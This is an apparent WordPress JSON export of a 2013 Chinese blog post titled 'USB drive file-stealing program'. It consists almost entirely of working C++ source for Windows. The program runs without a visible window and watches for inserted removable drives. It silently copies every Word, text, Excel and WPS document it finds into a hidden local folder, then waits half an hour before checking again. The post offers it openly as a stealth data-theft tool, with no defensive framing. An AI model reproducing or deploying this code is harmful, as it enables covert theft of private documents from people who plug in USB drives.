{"id":34,"date":"2013-04-22T22:39:01","date_gmt":"2013-04-22T22:39:01","guid":{"rendered":""},"modified":"2013-04-22T22:39:01","modified_gmt":"2013-04-22T22:39:01","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=34","title":{"rendered":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f"},"content":{"rendered":"<pre class=\"brush:cpp; toolbar: true; auto-links: true;\">#include &lt;stdio.h&gt;\r\n#include &lt;iostream&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;windows.h&gt;\r\n#include &lt;time.h&gt;\r\n#include &lt;direct.h&gt;\r\n#include &lt;process.h&gt;\r\n\r\n#define Name_Length 300\r\n#define Path_Length 2000\r\n#define Suffix_Len 20\r\n#define Target_File_Type {\"doc\",\"docx\",\"txt\",\"xls\",\"wps\",NULL}\r\n\r\n#define Directory_Path \"D:\\\\123\"    \/\/\u4fdd\u5b58\u6587\u4ef6\u7684\u8def\u5f84\r\n\r\n#pragma comment(lib, \"winmm.lib\")\r\n#pragma comment(linker, \"\/subsystem:\\\"windows\\\" \/entry:\\\"mainCRTStartup\\\"\")\r\n\r\nusing namespace std;\r\n\r\nclass Steal_Removable_Drive\r\n{\r\npublic:\r\n    Steal_Removable_Drive();\r\n    int Check_Directory(char *path);\r\n    char *Check_Removable_Drive(char *Removable_Drive,int Length);\r\nprivate:\r\n    char Drives[200],CurrDrive[100];\r\n};\r\n\r\nSteal_Removable_Drive::Steal_Removable_Drive()\r\n{\r\n    memset(Drives,NULL,sizeof(Drives));\r\n    memset(CurrDrive,NULL,sizeof(CurrDrive));\r\n}\r\n\r\nint Steal_Removable_Drive::Check_Directory(char *path)\r\n{\r\n    \/\/\u8fd4\u56de1\u8868\u793a\u5b58\u5728\u6b64\u76ee\u5f55\uff0c\u8fd4\u56de0\u8868\u793a\u4e0d\u5b58\u5728\r\n    WIN32_FIND_DATA FileData;\r\n    HANDLE hFile=NULL;\r\n    if(FindFirstFile(path,&amp;FileData)==INVALID_HANDLE_VALUE)\r\n        return 0;\r\n    if(FileData.dwFileAttributes &amp; FILE_ATTRIBUTE_DIRECTORY)\r\n        return 1;\r\n    else\r\n        return 0;\r\n}\r\n\r\nchar *Steal_Removable_Drive::Check_Removable_Drive(char * Removable_Drive,int Length)\r\n{\r\n    char *p=NULL;\r\n    int k,flag=0;\r\n    unsigned long int i;\r\n    memset(Removable_Drive,NULL,Length);\r\n    GetLogicalDriveStrings(sizeof(Drives),Drives);    \/\/\u83b7\u53d6\u672c\u673a\u6240\u6709\u78c1\u76d8\u5217\u8868\r\n    for(k=0,p=CurrDrive,i=0; k&lt;2; i++)\r\n    {\r\n        if(Drives[i]!=NULL)\r\n        {\r\n            k=0;\r\n            *p=Drives[i];\r\n            p++;\r\n        }\r\n        else\r\n        {\r\n            k++;\r\n            p=CurrDrive;\r\n            \/\/printf(\"%s\\n\",CurrDrive);\r\n            if(GetDriveType(CurrDrive)==DRIVE_REMOVABLE)\r\n            {\r\n                flag=1;\r\n                \/\/printf(\"\u68c0\u6d4b\u5230\u79fb\u52a8\u78c1\u76d8:%s\\n\",CurrDrive);\r\n                strcat(Removable_Drive,CurrDrive);\r\n                strcat(Removable_Drive,\",\");\r\n            }\r\n            memset(CurrDrive,NULL,sizeof(CurrDrive));\r\n        }\r\n    }\r\n    if(flag)\r\n    {\r\n        Removable_Drive[strlen(Removable_Drive)-1]=NULL;\r\n        return Removable_Drive;        \/\/\u8fd4\u56de\u50a8\u5b58\u6709\u79fb\u52a8\u78c1\u76d8\u76d8\u7b26\u7684\u5b57\u7b26\u4e32\u6307\u9488\r\n    }\r\n    else\r\n        return NULL;   \/\/\u6ca1\u6709\u68c0\u6d4b\u5230\u79fb\u52a8\u78c1\u76d8\r\n}\r\n\r\n \r\n\r\n\r\ntypedef struct File_Infomation\r\n{\r\n    char file[Name_Length];\r\n    char path[Path_Length];\r\n} File_Info;\r\n\r\nint Copy_File(void *Paramter)\r\n{\r\n    \/\/printf(\"Create Copy_File Function Success!\\n\");\r\n\r\n    FILE *Source_File=NULL,*New_File=NULL;\r\n    char Buff[1024],Sour_file_path[Path_Length],New_file_path[Path_Length],*p=NULL;\r\n    int bytes=0,Length=0;\r\n    File_Info tmp=*(File_Info *)Paramter;\r\n\r\n    memset(Sour_file_path,NULL,sizeof(Sour_file_path));\r\n    memset(Buff,NULL,sizeof(Buff));\r\n    memset(New_file_path,NULL,sizeof(New_file_path));\r\n\r\n    strcat(Sour_file_path,tmp.path);\r\n    if(Sour_file_path[strlen(Sour_file_path)-1]!='\\\\') Sour_file_path[strlen(Sour_file_path)]='\\\\';\r\n    strcat(Sour_file_path,tmp.file);\r\n    \/\/printf(\"\u6253\u5f00\u6587\u4ef6:%s\\n\",Sour_file_path);\r\n    if((Source_File=fopen(Sour_file_path,\"rb\"))==NULL) _endthread();\r\n    strcat(New_file_path,Directory_Path);\r\n    if(New_file_path[strlen(New_file_path)-1]!='\\\\') New_file_path[strlen(New_file_path)]='\\\\';\r\n    strcat(New_file_path,tmp.file);\r\n    \/\/printf(\"\u6253\u5f00\u6587\u4ef6:%s\\n\",New_file_path);\r\n    if((New_File=fopen(New_file_path,\"wb\"))==NULL) _endthread();\r\n\r\n    while((bytes=fread(Buff,sizeof(char),sizeof(Buff),Source_File))&gt;0)\r\n    {\r\n        fwrite(Buff,sizeof(char),bytes,New_File);\r\n        memset(Buff,NULL,sizeof(Buff));\r\n    }\r\n    \/\/printf(\"\u590d\u5236\u6587\u4ef6:%s\\n\",Sour_file_path);\r\n    fflush(New_File);\r\n\r\n    fclose(New_File);\r\n    fclose(Source_File);\r\n    return 1;\r\n}\r\n\r\nint Traversal_Directory(char *path_t,char *Suffix_t)\r\n{\r\n    File_Info Paramter;    \/\/\u5b58\u653e\u5c06\u8981\u590d\u5236\u7684\u6587\u4ef6\u7684\u4fe1\u606f\r\n    char folder[Name_Length],file[Name_Length],path[Path_Length],Paramter_path[Path_Length],Traversal_Dir_Path[Path_Length];\r\n    char Suffix[Suffix_Len],*file_type_tmp=\"\\\\*.%s\",file_type[Suffix_Len];\r\n    WIN32_FIND_DATA FindFileData;\r\n\r\n    memset(folder,NULL,sizeof(folder));\r\n    memset(file,NULL,sizeof(file));\r\n    memset(path,NULL,sizeof(path));\r\n    memset(Traversal_Dir_Path,NULL,sizeof(Traversal_Dir_Path));\r\n    memset(Suffix,NULL,sizeof(Suffix));\r\n    memset(&amp;Paramter,NULL,sizeof(Paramter));\r\n    memset(file_type,NULL,sizeof(file_type));\r\n    memset(Paramter_path,NULL,sizeof(Paramter_path));\r\n\r\n    strcat(Suffix,Suffix_t);\r\n    strcat(path,path_t);\r\n    strcat(Paramter_path,path);\r\n    strcat(Traversal_Dir_Path,path);\r\n    \/\/\u8868\u793a\u4e0d\u904d\u5386\u6b64\u76ee\u5f55\r\n    if(!strcmp(Traversal_Dir_Path,\".\") || !strcmp(Traversal_Dir_Path,\"..\") || Traversal_Dir_Path[strlen(Traversal_Dir_Path)-1]=='.') return 0;\r\n\r\n    sprintf(file_type,file_type_tmp,Suffix);    \/\/\u683c\u5f0f\u5316\u6307\u5b9a\u7684\u6587\u4ef6\u7c7b\u578b\r\n    if(Traversal_Dir_Path[strlen(Traversal_Dir_Path)-1]=='\\\\') Traversal_Dir_Path[strlen(Traversal_Dir_Path)-1]=NULL;\r\n    strcat(Traversal_Dir_Path,\"\\\\*.*\");\r\n\r\n    \/\/\u904d\u5386\u51fa\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709\u7684\u6587\u4ef6\u5939\r\n    \/\/printf(\"Check_Dir_Path:%s\\n\",Check_Dir_Path);\r\n    \/\/system(\"pause\");\r\n    HANDLE hFind=FindFirstFile(Traversal_Dir_Path,&amp;FindFileData);  \/\/\u8bfb\u53d6\u76ee\u5f55\u4e0b\u7b2c\u4e00\u4e2a\u6587\u4ef6\r\n    if(hFind==INVALID_HANDLE_VALUE)\r\n    {\r\n        FindClose(hFind);\r\n        return 0;   \/\/\u8868\u793a\u5f53\u524d\u76ee\u5f55\u4e0b\u4e3a\u7a7a\r\n    }\r\n    do\r\n    {\r\n        if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)\r\n        {\r\n            \/\/\u8868\u793a\u626b\u63cf\u5230\u6587\u4ef6\u5939\r\n            memset(folder,NULL,sizeof(folder));\r\n            strcat(folder,FindFileData.cFileName);\r\n            \/\/printf(\"folder:%s\\n\",folder);\r\n            if(folder[strlen(folder)-1]=='.') continue;\r\n            if(Paramter_path[strlen(Paramter_path)-1]!='\\\\') Paramter_path[strlen(Paramter_path)]='\\\\';\r\n            strcat(Paramter_path,folder);\r\n            \/\/printf(\"\u904d\u5386\u5b50\u76ee\u5f55:%s\\n\",Paramter_path);\r\n            Traversal_Directory(Paramter_path,Suffix);    \/\/\u9012\u5f52\r\n\r\n            memset(Paramter_path,NULL,sizeof(Paramter_path));\r\n            strcat(Paramter_path,path);\r\n        }\r\n    }\r\n    while(FindNextFile(hFind,&amp;FindFileData));\r\n\r\n FindClose(hFind);\r\n\r\n    \/\/\u67e5\u627e\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6307\u5b9a\u6587\u4ef6\r\n    strcat(path,file_type);\r\n\r\n    if((hFind=FindFirstFile(path,&amp;FindFileData))==INVALID_HANDLE_VALUE)\r\n    {\r\n        FindClose(hFind);\r\n        return 0;\r\n    }\r\n    do\r\n    {\r\n        if(FindFileData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY)\r\n        {\r\n            \/\/\u8868\u793a\u626b\u63cf\u5230\u6587\u4ef6\r\n            strcat(file,FindFileData.cFileName);\r\n            strcat(Paramter.file,file);\r\n            memcpy(Paramter.path,path,strlen(path)-strlen(file_type));\r\n            Copy_File((void *)&amp;Paramter);\r\n            Sleep(1);\r\n            memset(file,NULL,sizeof(file));\r\n            memset(&amp;Paramter,NULL,sizeof(Paramter));\r\n        }\r\n    }\r\n    while(FindNextFile(hFind,&amp;FindFileData));\r\n\r\n    FindClose(hFind);\r\n    return 1;\r\n}\r\n\r\nvoid Copy_File_Thread(void *Paramter)\r\n{\r\n    \/\/printf(\"Create Thread success!\\n\");\r\n    class Steal_Removable_Drive tmp;\r\n    char Target_Drive[100];\r\n    char *Suffix[]= Target_File_Type;\r\n    unsigned long int i;\r\n\r\n    memset(Target_Drive,NULL,sizeof(Target_Drive));\r\n    strcat(Target_Drive,(char *)Paramter);\r\n\r\n    for(i=0; Suffix[i]!=NULL; i++)\r\n        Traversal_Directory(Target_Drive,Suffix[i]);\r\n    _endthread();\r\n}\r\n\r\nint main(int argc,char *argv[])\r\n{\r\n    class Steal_Removable_Drive func;\r\n    int Sleep_Flag=0;\r\n    unsigned int i;\r\n    int Removable_Drive_String_Len=0,INVALID_REMOVABLE=0,INVALID_REMOVABLE_LAST=0;\r\n    char Removable_Drive[100],Target_Drive[10],*p=NULL;\r\n    time_t Sleep_Time,Now_Time;\r\n\r\n    memset(Removable_Drive,NULL,sizeof(Removable_Drive,sizeof(Removable_Drive)));\r\n    memset(Target_Drive,NULL,sizeof(Target_Drive));\r\n\r\n    while(1)\r\n    {\r\n        Sleep(1000);              \/\/\u6bcf\u8bfb\u53d6\u4e00\u6b21\u78c1\u76d8\u540e\u7a0b\u5e8f\u6682\u505c\u4e00\u79d2\u9632\u6b62CPU\u4f7f\u7528\u7387\u8fc7\u9ad8\r\n        if(func.Check_Removable_Drive(Removable_Drive,sizeof(Removable_Drive))!=NULL)\r\n        {\r\n            \/\/printf(\"\u68c0\u6d4b\u5230\u79fb\u52a8\u78c1\u76d8:%s\\n\",Removable_Drive);\r\n\r\n            if(strlen(Removable_Drive)!=Removable_Drive_String_Len)\r\n            {\r\n                \/\/\u82e5\u4e0d\u76f8\u7b49\u5219\u8bf4\u660e\u53ef\u79fb\u52a8\u78c1\u76d8\u53d1\u751f\u4e86\u53d8\u5316\r\n                Sleep_Flag=0;               \/\/\u7761\u7720\u6307\u4ee4\u7ed3\u675f\r\n                Removable_Drive_String_Len=strlen(Removable_Drive);\r\n            }\r\n\r\n            for(i=0,INVALID_REMOVABLE=0,p=Target_Drive; 1; i++)\r\n            {\r\n                \/\/\u904d\u5386\u6240\u6709\u7684\u53ef\u79fb\u52a8\u78c1\u76d8\r\n                if(Removable_Drive[i]!=',' &amp;&amp; Removable_Drive[i]!=NULL)\r\n                {\r\n                    *p=Removable_Drive[i];\r\n                    p++;\r\n                }\r\n                else\r\n                {\r\n                    p=Target_Drive;\r\n                    if(!GetVolumeInformation(Target_Drive,0,0,0,0,0,0,0)) INVALID_REMOVABLE++;\r\n                }\r\n                if(Removable_Drive[i]==NULL) break;\r\n            }\r\n\r\n            if(INVALID_REMOVABLE!=INVALID_REMOVABLE_LAST)\r\n            {\r\n                INVALID_REMOVABLE_LAST=INVALID_REMOVABLE;\r\n                Sleep_Flag=0;\r\n            }\r\n\r\n            if(Sleep_Flag)\r\n            {\r\n                Now_Time=time(NULL);\r\n                \/\/printf(\"Stand By...%ld\\n\",Now_Time-Sleep_Time);\r\n                if(Now_Time-Sleep_Time&gt;=1800)       \/\/\u65f6\u9694\u534a\u5c0f\u65f6\r\n                    Sleep_Flag=0;       \/\/\u89e3\u9664\u7761\u7720\u6307\u4ee4\r\n                else\r\n                    continue;\r\n            }\r\n\r\n            if(func.Check_Directory(Directory_Path)==0)\r\n   {\r\n                if(mkdir(Directory_Path)!=0) return 0;\r\n   }\r\n\r\n            for(i=0,p=Target_Drive; 1; i++)\r\n            {\r\n                \/\/\u904d\u5386\u6240\u6709\u7684\u53ef\u79fb\u52a8\u78c1\u76d8\r\n                if(Removable_Drive[i]!=',' &amp;&amp; Removable_Drive[i]!=NULL)\r\n                {\r\n                    *p=Removable_Drive[i];\r\n                    p++;\r\n                }\r\n                else\r\n                {\r\n                    p=Target_Drive;\r\n                    \/\/printf(\"\u68c0\u6d4b\u53ef\u79fb\u52a8\u78c1\u76d8%s\\n\",Target_Drive);\r\n                    \/\/system(\"pause\");\r\n\r\n                    if(GetVolumeInformation(Target_Drive,0,0,0,0,0,0,0))     \/\/\u5224\u65ad\u8bbe\u5907\u662f\u5426\u5c31\u7eea\r\n                    {\r\n                        \/\/printf(\"%s\u5df2\u5c31\u7eea\\n\",Target_Drive);\r\n                        _beginthread(Copy_File_Thread,0,(void *)Target_Drive);\r\n                        Sleep(1);\r\n                    }\r\n                    else\r\n                        ;\/\/printf(\"%s\u672a\u5c31\u7eea\\n\",Target_Drive);\r\n\r\n                    Sleep_Flag=1;             \/\/\u7a0b\u5e8f\u8fdb\u5165\u7761\u7720\r\n                    Sleep_Time=time(NULL);     \/\/\u4ece\u590d\u5236\u5b8c\u6587\u4ef6\u540e\u5f00\u59cb\u8ba1\u65f6\r\n                    memset(Target_Drive,NULL,sizeof(Target_Drive));\r\n                }\r\n                if(Removable_Drive[i]==NULL)\r\n                    break;\r\n            }\r\n        }\r\n    }\r\n    return 0;\r\n}\r\n<\/pre>\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\n\t#include &lt;stdio.h&gt;<br \/>\n#include &lt;iostream&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;windows.h&gt;<br \/>\n#include &lt;time.h&gt;<br \/>\n#include &lt;direct.h&gt;<br \/>\n#include &lt;&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-34","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=34\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"#include &lt;stdio.h&gt; #include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; #include &lt;time.h&gt; #include &lt;direct.h&gt; #include &lt;...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=34\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2013-04-22T22:39:01+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=34#webpage\",\"url\":\"http:\/\/weizn.net\/?p=34\",\"name\":\"U\\u76d8\\u6587\\u4ef6\\u7a83\\u53d6\\u7a0b\\u5e8f - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2013-04-22T22:39:01+00:00\",\"dateModified\":\"2013-04-22T22:39:01+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=34#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=34\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=34#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"U\\u76d8\\u6587\\u4ef6\\u7a83\\u53d6\\u7a0b\\u5e8f\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=34#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=34#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"U\\u76d8\\u6587\\u4ef6\\u7a83\\u53d6\\u7a0b\\u5e8f\",\"datePublished\":\"2013-04-22T22:39:01+00:00\",\"dateModified\":\"2013-04-22T22:39:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=34#webpage\"},\"wordCount\":1,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"C\/C++\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=34#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=34","og_locale":"zh_CN","og_type":"article","og_title":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f - Wayne&#039;s Blog","og_description":"#include &lt;stdio.h&gt; #include &lt;iostream&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; #include &lt;time.h&gt; #include &lt;direct.h&gt; #include &lt;...","og_url":"http:\/\/weizn.net\/?p=34","og_site_name":"Wayne&#039;s Blog","article_published_time":"2013-04-22T22:39:01+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"6 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=34#webpage","url":"http:\/\/weizn.net\/?p=34","name":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2013-04-22T22:39:01+00:00","dateModified":"2013-04-22T22:39:01+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=34#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=34"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=34#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=34#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=34#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"U\u76d8\u6587\u4ef6\u7a83\u53d6\u7a0b\u5e8f","datePublished":"2013-04-22T22:39:01+00:00","dateModified":"2013-04-22T22:39:01+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=34#webpage"},"wordCount":1,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["C\/C++"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=34#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/34","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=34"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/34\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=34"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=34"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=34"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}